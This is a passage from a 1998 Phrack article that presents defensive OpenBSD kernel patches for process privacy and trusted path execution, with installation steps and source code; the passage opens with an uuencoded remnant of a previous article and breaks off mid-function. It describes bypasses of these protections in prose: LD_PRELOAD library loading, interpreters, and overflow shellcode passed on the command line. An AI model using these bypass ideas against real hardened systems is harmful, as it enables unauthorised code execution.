M,T'T&'0;IW%4LD2/).O-9&Q6U+':YNUE4D%[4:-N,.Z9)9$NBTX4L\!(^EAG
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
*_Q^B7>1`!GX9`'-L
`
end
<-->

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 06 of 12


-------------------------[  The Belt And Suspenders Approach (September 1998)


--------[  route|daemon9 <route@infonexus.com>



----[  Introduction and Impetus


The OpenBSD project team.  Purveyors of a FREE, multi-platform 4.4BSD-based
UNIX-like operating system.  Their efforts place emphasis on portability,
standardization, correctness, security, and cryptography.  And OpenBSD
really concentrates on those last two.  OpenBSD is simply the best choice
for multi-user environments.

It is the flawed assumption that security mechanisms can be adequately
provided in layers above the operating system.  A perfect security application
cannot make up for flawed or absent security features within the OS kernel.
It is the classic example of building a castle on a swamp.  You can build
a strong fortress, but it makes no difference if it slowly sinks into the
ground.  In this article, we retrofit the OpenBSD kernel with some additional
security.

This article is about cracking the whip.  It's a prime example of security
being (possibly) inconvenient.  But by making things potentially a bit more
difficult for normal users, we hope to severely hamper would-be attackers.
Two effective ways of doing this are through limited program execution via
path and credential checks and privacy restrictions.

This article is a follow-up to my P52-06 article on hardening the Linux
kernel.  Herein the reader will find several patches designed to harden a
multi-user OpenBSD box.  These patches can be broken down into two areas:
privacy restriction and execution restriction (more on these below).  The
patches contained here should be used in conjunction with a savvy for
intelligent administration; if you can't recompile a kernel, stop here.


----[  Getting Sources

You will need an OpenBSD 2.4 box with full kernel sources for your
architecture and sources for the following programs: w, who, ps, fstat, and
ld.so.  Below are sample instructions for getting the sources you'll need
through anonymous CVS.

I.      Pick a server and set the appropriate environment variables:
            (assuming csh or tcsh)
            1. setenv CVSROOT anoncvs@anoncvs3.usa.openbsd.org:/cvs
            2. setenv CVS_RSH /usr/local/bin/ssh
            3. cd /usr

II.     Get the sources:
            1. cvs get src/usr.bin/fstat
            2. cvs get src/bin/ps
            3. cvs get src/usr.bin/w
            4. cvs get src/usr.bin/who
            5. cvs get src/gnu/usr.bin/ld/
            6. cvs get src/lib/libc/stdio/

III.    If you need kernel sources:
            (for i386-based machines, other architectures vary slightly)
            1. cvs get ksrc-i386 ksrc-common


----[  Privacy Patches

Tested on:  2.4-SNAP (Current as of 12.10.98)
Author:     route

Why should we allow anyone to be able to view information on processes they do
not own?

Normally, when a process wants system-wide process table information, it
retrieves it from the kernel virtual memory interface by making calls to a
kvm_*(3) derivative.  All that is required is that the process have
permissions to read from /dev/kmem (usually meaning the program file needs to
be sgid kmem).  I am of the school of thought that, unless you are really
cool, you don't need to see everyone else's processes on a host.  The
privacy patches work towards this end.


----[  Privacy Patches Modus Operandi

Simple credential check.  Before the command is allowed to dump savory
information, a UID check is made.  If you're not root, you're not going to
see other users' information.  Due to the somewhat lazy way this is
implemented, a savvy hacker could defeat this.  I leave this as an exercise to
the reader.


----[  Privacy Patches Installation

I.      Extract the code from this article:
            1. extract P54-06
            2. cd PP/

II.     Apply the userland diffs:
            1. cp Patch/PP-diff /usr/src
            2. cd /usr/src
            3. patch < PP-diff

III.    Next, cd to the relevant directories and build the executables:
            1. cd usr.bin/fstat; make; make install
            2. cd usr.bin/who; make; make install
            3. cd usr.bin/w; make; make install
            4. cd bin/ps; make; make install


----[  Trusted Path / ACL Execution Patches

Tested on:  2.4-SNAP (Current as of 12.10.98)
Author:     route

Why should we allow arbitrary code execution rights?

Before any call to sys_execve() is allowed to proceed, we take the vnode of
the parent directory that the targeted file lives in and grab the file
attributes via the VOP_GETATTR() macro.  We then check to see if the path
is trusted (root owned directory that isn't group or world writable) and,
barring that, we check to see if the user is trusted (on the kernel's trust
list).  If the last check fails, the file is denied execution privileges.

Oops!  By setting certain environment variables, users can still preload
libraries and modules filled with all sorts of arbitrary code.  This is a
no-no.  To prevent this, we provide a mechanism to effectively ignore
LD_PRELOAD and LD_LIBRARY_PATH environment variables.


----[   TPE Implementation Overview

The tpe suite consists of 4 components: the in-kernel mechanisms, a system
call, a userland agent and an ld.so component.  The kernel resident components
handle the path and credential verification as well as list maintenance.
The system call is the vessel used to convey information from userland to
the kernel and vice versa.  The userland agent consists of the tpe
administrative program used to manipulate the trust list (and enable/disable
the ld.so environment checker).  The ld.so piece is responsible for grooming
the environment of any illegal variables.


----[  TPE Trust List Kernel Interface and Abstract Data Types

The trust list inside the kernel is a static array of type `uid_t`.  The
decision was the made to use a static array to hold the trusted IDs for both
convenience and runtime efficiency.  By default, the list is elements long.
If this for some reason is not sufficient, it can be increased by changing the
CPP symbolic constant TPE_ACL_SIZE (however, you should first probably ask
yourself why you need more than 80 trusted users).

The speed in which user ID verification is done is absolutely essential, as
this check will be done for every call to exec that does not originate from a
trusted path.  This has the potential to be a huge bottle neck.  This was
taken into consideration and the bulk of processing overhead is offloaded to
list initialization and modification.

The list is kept ordered after all insertions and deletions via insertion sort.
Sorting is relatively costly (insertion sort has a running time of about
O(n^2)) and is done when response time is not absolutely critical, during list
additions and deletions.

Speed is essential when the lookups are done, and, since the list is ordered,
a binary search can be done in a worst case of O(lg N).  In fact, with the
default list size of 80 elements, we can be guaranteed no more than 7
comparisons will be done.  Compare that with a sequential search in an
ordered list which has a worst case of O(N) (80 comparisons).


----[  TPE ld.so protection

The dynamic linker is a great tool that allows us to write small programs 
that load external code at runtime.  On a macro scale, ld.so allows processes
to load arbitrary external code for execution.  This can be used to bypass
our execution restrictions.  A user could bypass path trust by simply loading
code dynamically via library or object code redirection.  This is against
our best interests.  To prevent this, we patch ld.so to strip the
LD_PRELOAD and LD_LIBRARY_PATH environment variables.

There is a global int, tpe_ld_check, that is set, cleared and checked via
the system call.  When set, ld.so checks the environment of any non UID 0
process and calls unsetenv if LD_PRELOAD and/or LD_LIBRARY_PATH exist.  The
variables still exist in the user's environment, but they are ignored
during the dynamic linking.


----[  What TPE will do

Trusted path execution will prevent arbitrary users from executing arbitrary
code.  This means that malicious users cannot execute exploit programs to
try and break root on your machine.  This also means that they can't execute
exploit programs and try to hack from your machine.  It affords an
administrator an extra level of confidence that her system is secure.


----[  What TPE will not do

TPE relies on auditing a call to one of exec(2) family of functions.  It
ensures that the program file that contains the code to be executed resides
in a trusted directory or is being executed by a trusted user.  Programs
living in a trusted directory that interpret symbolic code and link and
assemble at runtime (and call exec from a trusted path) can bypass our
TPE security mandate and must be audited differently.  These are programs
such as perl, any of the shell interpreters, sed, awk, etc...  While a
malicious user cannot just whip up a script in her home directory (it would be
denied execution rights because it lives in an untrusted directory) she could
specify the code on the command line or redirect it from a file.

There are different ways to tackle this problem, none of them very elegant.
Changing the file permissions and ownership to allow only members of a
certain group access to these files is a simple effort and an obvious
choice, but will not work for the shell interpreters.  Moving all of these
programs to a special non-trusted directory would also work (normal users
would not be able to execute them, but trusted users would), but again,
this will not work for the shell programs.

To prevent the shell programs from being to execute arbitrary code it seems
like the only real solution would be to patch them.  This way you can prevent
naughty activity and still get desired functionality.

Another area of trouble is command line buffer overflows.  If a trusted
program happens to contain a buffer overflow that is exploitable from the
command line, an attacker can bypass the TPE and get arbitrary code executed.
The overflow shellcode is passed in as standard command line argument and
is not illegal as far as TPE sees.  One possible fix is to audit or sanitize
the command arguments before granting execution rights.

The other noteworthy issue regarding TPE is the fact that it generally does not
protect the machine from remote attacks.  Daemons running as root or as a 
trusted user id (usually the case -- otherwise how would it be started in the
first place?) will be allowed execution rites.  If this code contains
remotely exploitable buffer overflows, TPE cannot prevent arbitrary code
execution.


----[  tpe_adm

The userland agent is painfully simple to use.  To show the kernel's trusted
user list:

    resentment:~# tpe_adm -s
    trusted users: root diablerie

To add a user to the list:

    resentment:~# tpe_adm -a devilish
    UID 1000 added to trust list
    resentment:~# tpe_adm -s
    trusted users: root diablerie devilish

To remove a user from the list:

    resentment:~# tpe_adm -d diablerie
    UID 1000 removed from trust list
    resentment:~# tpe_adm -s
    trusted users: root diablerie

To enable/disable ld.so environment checking:

    resentment:~# tpe_adm -le
    ld.so environment protection enabled
    resentment:~# tpe_adm -ls
    ld.so environment protection is currently on
    resentment:~# tpe_adm -ld
    ld.so environment protection disabled
    resentment:~# tpe_adm -ls
    ld.so environment protection is currently off


----[  TPE Installation

I.      Extract the code from this article:
            1. extract P54-06
            2. cd TPE/

II.     Apply the kernel diffs:
            1. cp Core/Patch/TPE-diff /usr/src/sys
            2. cd /usr/src/sys/
            3. patch < TPE-diff
            4. note any errors.  hope they are benign.

III.    Apply the ld.so diff:
            1. cp Core/Patch/ld.so-diff /usr/src/
            2. cd /usr/src/
            3. patch < ld.so-diff

IV.      Copy over the tpe core files:
            1. cp Core/kern/kern_tpe.c /usr/src/sys/kern
            2. cp Core/kern/kern_tpe_sys.c /usr/src/sys/kern
            3. cp Core/sys/kern_tpe.h /usr/src/sys/sys

V.      Rebuild your syscall table:
            1. cd /usr/src/sys/kern
            2. make

VI.     Copy over the syscall include files:
            1. cp /usr/src/sys/sys/syscall.h /usr/include/sys
            2. cp /usr/src/sys/sys/syscallargs.h /usr/include/sys

VII.    Reconfigure your kernel:
        (This step assumes you have a previously configured kernel named
         YOUR_KERNEL.  If you haven't, you need to config a kernel.  Refer
         to OpenBSD documentation on how to do this.)
            1. cd /usr/src/sys/arch/YOUR_ARCH/conf
            2. config YOUR_KERNEL

VIII.   Remake the dependencies and rebuild the kernel:
            1. cd /usr/src/sys/arch/YOUR_ARCH/compile/YOUR_KERNEL
            2. make depend ; make clean ; make
            3. note any errors.  hope you can fix them.
            3. cp /bsd /bsd.old ; cp bsd /
            4. reboot

IX.     Build the new ld.so
            1. cd /usr/src
            2. cp lib/libc/stdio/vfprintf.c /usr/src/gnu/usr.bin/ld/rtld
            3. cp lib/libc/stdio/local.h /usr/src/gnu/usr.bin/ld/rtld
            4. cp lib/libc/stdio/fvwrite.h /usr/src/gnu/usr.bin/ld/rtld
            5. cd /usr/src/gnu/usr.bin/ld/rtld
            6. make ; make install

X.      Build the TPE admin program:
            1. cd Core/Admin/ ; make
            2. make install

XI.     Test it out:
            1. As root, dump the current trust list:
               (Only UID 0 should be on it.)
               tpe_adm -s
               trusted users: root

            2. Try the following as an untrusted user (i.e. UID=1000):
               cat > foo.c << EOF ; gcc foo.c
                 int main(int argc, char **argv){ printf("Hello world\n"); }
                 EOF
               ./a.out
               EPERM should result.

            3. Now add the user to the trust list:
               tpe_adm -a UID

            4. Dump the list again:
               (You should see the user on the list.)
               tpe_adm -s

            5. Try to execute the command again as the user:
               ./a.out
               Hello world

            6. Add only the necessary UIDs to the list.

            7. NOTE TO QMAIL USERS:
               You may find that you will need to explicitly add the qmailq
               UID to the trust list.  Do this in an rc startup script that
               runs before the qmail daemons start.

            8. As root, ensure that ld.so environment protection is enabled:
               tpe_adm -le
               ld.so environment protection enabled

            9. As an unprivileged user:
               setenv LD_PRELOAD test.o
               ls -l
               Your environment contains illegal variables which are being
               stripped out for the execution of this program
               a.out  fo.c   foo.c

           10. As root, ensure that ld.so environment protection is disabled:
               tpe_adm -ld
               ld.so environment protection disabled

           11. As an unprivileged user:
               ls
               /usr/libexec/ld.so: preload: test.o: cannot map object     

           12. You're done.  Pat yourself on the back and buy something from
               Precious Roy.


----[  The Code

<++> TPE/Core/Admin/Makefile
#   $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
#   Trusted path ACL implementation for OpenBSD 2.4
#   Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
#   All rights reserved.
#
#   Originally published in Phrack Magazine (http://www.phrack.com).

tpe_adm:
	$(CC) tpe_adm.c -o tpe_adm

install: tpe_adm
	install -m 711 -o 0 tpe_adm /usr/local/sbin

clean:
	rm -rf core a.out tpe_adm

# EOF
<-->
<++> TPE/Core/Admin/tpe_adm.c
/*
 *  $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 *  Trusted path ACL userland administrative agent for OpenBSD 2.4
 *
 *  Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 *  All rights reserved.
 *  Originally published in Phrack Magazine (http://www.phrack.com).
 *
 *  Thanks to nirva for helping me choose an ADT.
 *  See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pwd.h>
#include "../sys/kern_tpe.h"

void usage();

int
main(int argc, char **argv)
{
    uid_t list[TPE_ACL_SIZE];
    int c, i, mode;
    uid_t candidate;
    struct passwd *pwd;

    if (geteuid() && getuid())
    {
        fprintf(stderr, "root access required\n");
        exit(1);
    }

    if (argc == 1 || argc > 3)
    {
        usage();
        exit(EXIT_SUCCESS);
    }

    while ((c = getopt(argc, argv, "a:d:l:s")) != EOF)
    {
        switch (c)
        {
            case 'a':
                if (isalpha(optarg[0]))
                {
                    pwd = getpwnam(optarg);
                    if(!pwd)
                    {
                        fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                        exit(EXIT_FAILURE);
                    }
                    candidate = pwd->pw_uid;
                }
                else if (!(candidate = (uid_t)atol(optarg)))
                {
                    fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                if (syscall(SYS_tpe_adm, TPE_ADD, candidate, NULL) == -1)
                {
                    printf("Full trust list\n");
                    exit(EXIT_FAILURE);
                }
                printf("UID %d added to trust list\n", candidate);
                break;
            case 'd':
                if (isalpha(optarg[0]))
                {
                    pwd = getpwnam(optarg);
                    if(!pwd)
                    {
                        fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                        exit(EXIT_FAILURE);
                    }
                    candidate = pwd->pw_uid;
                }
                else if (!(candidate = (uid_t)atol(optarg)))
                {
                    fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                if (syscall(SYS_tpe_adm, TPE_REMOVE, candidate, NULL) == -1)
                {
                    printf("UID %d not found on trust list\n", candidate);
                    exit(EXIT_FAILURE);
                }
                printf("UID %d removed from trust list\n", candidate);
                break;
            case 'l':
                if (optarg[0] == 'e')
                {
                    if (syscall(SYS_tpe_adm, TPE_LDCHECK_E, -1, NULL) == -1)
                    {
                        printf("Unknown internal error\n"); /* should NOT fail */
                        exit(EXIT_FAILURE);
                    }
                    printf("ld.so environment protection enabled\n");
                }
                else if (optarg[0] == 'd')
                {
                    if (syscall(SYS_tpe_adm, TPE_LDCHECK_D, -1, NULL) == -1)
                    {
                        printf("Unknown internal error\n"); /* should NOT fail */
                        exit(EXIT_FAILURE);
                    }
                    printf("ld.so environment protection disabled\n");
                }
                else if (optarg[0] == 's')
                {
                    if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
                    {
                        printf("Unknown internal error\n"); /* should NOT fail */
                        exit(EXIT_FAILURE);
                    }
                    printf("ld.so environment protection is currently %s\n",
                    list[0] ? "on" : "off");
                }
                else
                {
                    fprintf(stderr, "Huh?\n");
                    exit(EXIT_FAILURE);
                }
                break;
            case 's':
                /*
                 *  It is Very Important that `list` is an array of size
                 *  TPE_ACL_SIZE.  The kernel expects this.  Failure to do
                 *  so can result in a panic.  However, only root can issue
                 *  the tpe_adm system call.
                 */
                if (syscall(SYS_tpe_adm, TPE_SHOW, -1, list) == -1)
                {
                    /*
                     *  Should NOT fail.
                     */
                    printf("Hideous internal error\n");
                    exit(EXIT_FAILURE);
                }
                printf("trusted users: ");
                for (i = 0; list[i] != TPE_INITIALIZER; i++)
                {
                    pwd = getpwuid(list[i]);
                    if (pwd)
                    {
                        printf("%s ", pwd->pw_name);
                    }
                    else
                    {
                        printf("%d ", (int)list[i]);
                    }
                }
                printf("\n"); 
                break;
            default:
                usage();
                exit(EXIT_SUCCESS);
        }
    }
    return (0);
}


void
usage()
{
    fprintf(stderr, "usage: tpe_adm [-a UID]    Add a UID to the trust list\n"
                                   "[-d UID]    Delete a UID from the list\n"
                                   "[-l e|n]    Toggle LD_* usage\n"
                                   "[-l s]      Show status of ld.so protection\n"
                                   "[-s]        Show the current list\n");
}
<-->
<++> TPE/Core/Patch/TPE-diff
--- ./kern/init_main.c	Tue Sep 15 23:21:08 1998
+++ ../Core/kern/init_main.c	Sun Oct 18 12:26:24 1998
@@ -80,6 +80,7 @@
 
 #include <sys/syscall.h>
 #include <sys/syscallargs.h>
+#include <sys/kern_tpe.h>
 
 #include <ufs/ufs/quota.h>
 
@@ -424,6 +425,16 @@
 	srandom((u_long)(rtv.tv_sec ^ rtv.tv_usec));
 
 	randompid = 1;
+
+        tpe_init();
+        printf("Trusted patch execution list initialized\n");
+        /*
+         *  root must be added hard at this point.  For safey's sake, the
+         *  userland agent can't do anything with UID 0 to prevent morons
+         *  from locking themselves out of their machines.
+         */
+        tpe_add(0);
+
 	/* The scheduler is an infinite loop. */
 	scheduler();
 	/* NOTREACHED */
--- ./kern/syscalls.master	Thu Sep 17 13:54:04 1998
+++ ../Core/kern/syscalls.master	Sun Oct 18 12:35:59 1998
@@ -479,7 +479,8 @@
 242	UNIMPL
 243	UNIMPL
 244	UNIMPL
-245	UNIMPL
+245	STD             { int sys_tpe_adm(int mode, uid_t candidate, \
+                             uid_t *list); }
 246	UNIMPL
 247	UNIMPL
 248	UNIMPL
--- ./kern/kern_exec.c	Thu Sep 24 11:49:31 1998
+++ ../Core/kern/kern_exec.c	Sun Oct 18 12:32:03 1998
@@ -51,12 +51,16 @@
 #include <sys/mman.h>
 #include <sys/signalvar.h>
 #include <sys/stat.h>
+#include <ufs/ufs/quota.h>
+#include <ufs/ufs/inode.h>
 #ifdef SYSVSHM
 #include <sys/shm.h>
 #endif
 
 #include <sys/syscallargs.h>
-
+#include <sys/kern_tpe.h>
+#include <sys/systm.h>
+ 
 #include <vm/vm.h>
 #include <vm/vm_kern.h>
 
@@ -93,6 +97,7 @@
 	struct exec_package *epp;
 {
 	int error, i;
+        struct vattr at;
 	struct vnode *vp;
 	struct nameidata *ndp;
 	size_t resid;
@@ -146,6 +151,30 @@
 	if (error)
 		goto bad2;
 	epp->ep_hdrvalid = epp->ep_hdrlen - resid;
+
+        /*
+         *  Get the file attributes of the parent directory that the
+         *  executable lives in.
+         */
+        if ((error = VOP_GETATTR(ndp->ni_dvp, &at, NULL, NULL)) != 0)
+        {
+            goto bad2;
+        }
+
+        /*
+         *  Trusted path check.
+         */
+        if (!TRUSTED_PATH(at))
+        {
+                /*
+                 *  Trusted user check.
+                 */
+                if (!TRUSTED_USER(p->p_ucred->cr_uid))
+                {
+                        error = EACCES;
+                        goto bad2;
+                }
+        }
 
 	/*
 	 * set up the vmcmds for creation of the process
--- ./conf/files	Sun Sep 27 19:43:22 1998
+++ ../Core/conf/files	Sun Oct 18 12:40:28 1998
@@ -209,6 +209,8 @@
 file kern/kern_sysctl.c
 file kern/kern_synch.c
 file kern/kern_time.c
+file kern/kern_tpe.c
+file kern/kern_tpe_sys.c
 file kern/kern_xxx.c
 file kern/subr_autoconf.c
 file kern/subr_disk.c
<-->
<++> TPE/Core/kern/kern_tpe.c
/*
 *  $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 *  Trusted path ACL implementation for OpenBSD 2.4
 *
 *  Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 *  All rights reserved.
 *  Originally published in Phrack Magazine (http://www.phrack.com).
 *
 *  Thanks to nirva for helping me choose an ADT.
 *  See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <sys/kern_tpe.h>

void
tpe_init()
{
    memset(tpe_acl, TPE_INITIALIZER, sizeof(uid_t) * TPE_ACL_SIZE);
    tpe_acl_candidates = 0;
    tpe_ld_check = 1;
#if (AUTO_ADD_ROOT)
    tpe_acl[0] = 0;
#endif
}


void
tpe_show()
{
    int i;

    printf("%d trusted users: ", tpe_acl_candidates);
    for (i = 0; i < tpe_acl_candidates; i++)
    {
        printf("%d ", tpe_acl[i]);
    }
    printf("\n");
}


int
tpe_add(uid_t candidate)
{
    if (tpe_acl_candidates == TPE_ACL_SIZE)
    {
        /*
         *  Full list.
         */
        return (NACK);
    }

    /*
     *  Don't add duplicates.
     */
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) == NACK)
